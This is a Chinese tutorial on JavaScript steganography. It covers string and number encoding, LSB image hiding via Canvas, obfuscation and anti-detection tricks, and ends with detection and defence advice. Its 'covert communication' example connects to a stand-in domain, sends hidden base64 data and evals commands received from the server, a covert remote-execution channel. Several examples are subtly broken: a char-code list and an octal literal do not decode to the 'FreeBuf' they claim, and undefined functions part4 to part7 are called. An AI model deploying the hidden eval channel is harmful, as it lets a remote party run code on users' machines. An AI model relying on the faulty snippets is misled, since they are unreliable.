JavaScript奇淫技巧:隐写术
字数 596 2025-08-11 21:26:35
JavaScript隐写术详解
1. 隐写术概述
JavaScript隐写术是一种利用JavaScript语言特性在代码中隐藏信息的技术,常用于:
- 数据隐蔽传输
- 版权保护
- 反调试和反分析
- 恶意代码隐藏
2. 基础隐写技术
2.1 注释隐藏法
// 普通注释
var x = 1; /* 这里可以隐藏信息 */
// 利用注释的特殊位置
var a = function() {/*
隐藏的多行信息
可以放在这里
*/};
2.2 字符串拼接法
// 简单拼接
var secret = "F"+"r"+"e"+"e"+"B"+"u"+"f";
// 利用数组join
var secret = ['F','r','e','e','B','u','f'].join('');
2.3 Unicode编码法
// Unicode转义序列
var str = "\x46\x72\x65\x65\x42\x75\x66"; // FreeBuf
// 更复杂的Unicode组合
var str = "\u0046\u0072\u0065\u0065\u0042\u0075\u0066";
3. 高级隐写技术
3.1 函数动态执行
// 使用Function构造函数
var secret = new Function("return 'FreeBuf'")();
// 使用eval
var code = "66;72;65;65;66;75;66".split(";")
.map(c => String.fromCharCode(c)).join("");
eval("console.log('"+code+"')");
3.2 属性名隐藏
// 非常规属性名
var obj = {
["\x46\x72\x65\x65\x42\x75\x66"]: function() {
return "hidden data";
}
};
obj.FreeBuf(); // 调用隐藏方法
3.3 数字隐写
// 数字进制转换
var num = 0x46726565427566; // Hex for "FreeBuf"
var num = 0o103171145104125146; // Octal for "FreeBuf"
// 浮点数隐藏
var pi = 3.141592653589793;
// 在pi的小数部分隐藏信息
4. 图片隐写术与JavaScript
4.1 Canvas像素操作
// 从图片中提取隐藏数据
function extractFromImage(img) {
var canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
var data = imageData.data;
var result = '';
// 从每个像素的LSB提取数据
for(var i = 0; i < data.length; i += 4) {
var r = data[i].toString(2).padStart(8, '0').slice(-1);
var g = data[i+1].toString(2).padStart(8, '0').slice(-1);
var b = data[i+2].toString(2).padStart(8, '0').slice(-1);
result += r + g + b;
}
// 将二进制转换为ASCII
var output = '';
for(var j = 0; j < result.length; j += 8) {
var byte = result.substr(j, 8);
output += String.fromCharCode(parseInt(byte, 2));
}
return output;
}
4.2 数据隐藏到图片
function hideInImage(canvas, text) {
var ctx = canvas.getContext('2d');
var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
var data = imageData.data;
// 将文本转换为二进制
var binaryText = '';
for(var i = 0; i < text.length; i++) {
binaryText += text.charCodeAt(i).toString(2).padStart(8, '0');
}
// 将二进制数据隐藏到像素的LSB
var textIndex = 0;
for(var j = 0; j < data.length; j += 4) {
if(textIndex < binaryText.length) {
// 修改红色通道的LSB
data[j] = (data[j] & 0xFE) | parseInt(binaryText[textIndex++], 10);
if(textIndex < binaryText.length) {
// 修改绿色通道的LSB
data[j+1] = (data[j+1] & 0xFE) | parseInt(binaryText[textIndex++], 10);
}
if(textIndex < binaryText.length) {
// 修改蓝色通道的LSB
data[j+2] = (data[j+2] & 0xFE) | parseInt(binaryText[textIndex++], 10);
}
}
}
ctx.putImageData(imageData, 0, 0);
return canvas.toDataURL();
}
5. 反检测技术
5.1 代码混淆
// 变量名混淆
var _0x1a2b = ["FreeBuf", "log", "Hello from "];
console[_0x1a2b[1]](_0x1a2b[2] + _0x1a2b[0]);
5.2 代码分块执行
// 分阶段执行隐藏的代码
function part1() { return "F"; }
function part2() { return "r"; }
function part3() { return "e"; }
// ...其他部分
setTimeout(function() {
console.log(part1()+part2()+part3()+part4()+part5()+part6()+part7());
}, 1000);
5.3 环境检测执行
// 只在特定环境下执行隐藏代码
if(navigator.userAgent.indexOf('Chrome') > -1) {
// 执行隐藏功能
eval(function(p,a,c,k,e,d){/* 混淆的代码 */});
}
6. 实际应用案例
6.1 水印隐藏
function embedWatermark(text) {
// 将水印信息分散隐藏在多个位置
window._wm_part1 = text.substr(0, 3);
document.cookie = "_wm_part2=" + text.substr(3, 3);
localStorage.setItem("_wm_part3", text.substr(6));
// 验证水印完整性
setInterval(function() {
var fullWm = (window._wm_part1 || "") +
(document.cookie.match(/_wm_part2=([^;]+)/)?.[1] || "") +
(localStorage.getItem("_wm_part3") || "");
if(fullWm !== text) {
// 水印被篡改,采取相应措施
document.body.innerHTML = "<h1>内容被非法修改</h1>";
}
}, 5000);
}
6.2 隐蔽通信
// 使用WebSocket进行隐蔽通信
function stealthyCommunication() {
var ws = new WebSocket("wss://normal-looking-domain.com/chat");
ws.onopen = function() {
// 发送看似正常的数据
ws.send(JSON.stringify({
type: "user_message",
content: "Hello there",
// 隐藏的数据
metadata: btoa("secret_data=" + Date.now())
}));
};
ws.onmessage = function(e) {
var data = JSON.parse(e.data);
if(data.type === "system_update") {
// 解析隐藏的指令
var hiddenCmd = atob(data.updateId);
eval(hiddenCmd);
}
};
}
7. 检测与防御
7.1 隐写术检测方法
-
静态分析:
- 检查异常长的字符串或数组
- 查找大量使用eval、Function构造器或setTimeout的代码
- 分析非常规的变量名和函数名
-
动态分析:
- 监控不寻常的网络请求
- 跟踪eval和Function的执行
- 检查DOM和存储中的异常数据
7.2 防御措施
// 禁用危险的JavaScript功能
Object.defineProperty(window, "eval", {
value: function() {
throw new Error("eval is disabled for security reasons");
},
writable: false
});
// 监控可疑的API调用
const originalWebSocket = window.WebSocket;
window.WebSocket = function(url) {
if(url.includes("suspicious-domain")) {
console.warn("Blocked connection to suspicious WebSocket endpoint");
return null;
}
return new originalWebSocket(url);
};
8. 总结
JavaScript隐写术是一种强大的技术,可以用于合法和非法目的。关键要点包括:
- 利用语言特性隐藏信息
- 图片隐写术与Canvas API的结合
- 高级混淆和反检测技术
- 实际应用场景和防御方法
掌握这些技术有助于开发更安全的应用程序,也能更好地理解和防御潜在的恶意代码。